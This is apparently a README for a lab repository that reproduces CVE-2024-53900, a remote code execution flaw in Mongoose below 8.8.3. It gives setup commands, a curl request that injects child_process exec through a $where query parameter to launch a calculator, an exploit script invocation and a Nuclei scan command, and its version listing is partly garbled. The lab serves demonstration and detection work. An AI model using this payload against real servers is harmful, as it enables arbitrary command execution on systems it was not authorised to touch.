
This repository provides a reproducible vulnerable environment and PoC for CVE-2024-53900, a critical Remote Code Execution (RCE) vulnerability in Mongoose < 8.8.3.
populate().match combined with $whereReferences:
git clone https://github.com/www-spam/CVE-2024-53900.git
cd CVE-2024-53900
docker-compose up -d
By default, the vulnerable Node.js app runs inside Docker.
However, GUI applications (like xcalc or gnome-calculator) will not launch inside a container.
👉 If you want to demonstrate the RCE by launching a calculator window:
Run MongoDB in Docker (as DB backend)
docker run -d --name mongo -p 27017:27017 mongo:6
Run the vulnerable Node.js app locally
cd ~/cve-2024/app
npm install
node server.js
270175000/home/kali/cve-2024/
├── docker-compose.yml # Environment setup
├── exploit.py # Automated exploit script
├── CVE-2024-53900.yaml # Nuclei template
├── README.md # Documentation
├── app/ # Vulnerable Node.js app
│ ├── Dockerfile
│ ├── package.json
│ ├── server.js
│ ├── models.js
│ └── views/
└── data/ # MongoDB volume
curl "http://localhost:5000/book/{OBJECT_ID}/detail?view[path]=author&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('xcalc')"
python3 exploit.py --url http://localhost:5000
nuclei \ -u http://localhost:5000/book/{{OBJECT_ID}/detail \ -t ~/.local/nuclei-templates/CVE-2024-53900.yaml \ -var pfield=author
mongo:6188.5.0 (vulnerable)4.18.2